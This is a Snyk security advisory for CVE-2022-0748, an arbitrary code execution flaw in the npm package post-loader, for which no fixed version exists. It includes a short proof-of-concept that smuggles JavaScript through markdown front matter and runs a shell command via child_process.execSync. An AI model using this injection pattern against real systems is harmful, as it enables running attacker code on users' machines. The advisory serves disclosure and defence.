Arbitrary Code Execution Affecting post-loader package, versions >=0.0.0


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

EPSS
0.38% (74th percentile)

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  • Snyk IDSNYK-JS-POSTLOADER-2403737
  • published2 Mar 2022
  • disclosed16 Feb 2022
  • creditFeng Xiao and Zhongfu Su

Introduced: 16 Feb 2022

CVE-2022-0748  (opens in a new tab)
CWE-94  (opens in a new tab)
First added by Snyk

How to fix?

There is no fixed version for post-loader.

Overview

Affected versions of this package are vulnerable to Arbitrary Code Execution which uses a markdown parser in an unsafe way so that any javascript code inside the markdown input files gets evaluated and executed.

PoC

const postLoader = require('post-loader')
var payload = '---js\n((require("child_process")).execSync("touch rce"))';
new postLoader(payload);

CVSS Scores

version 3.1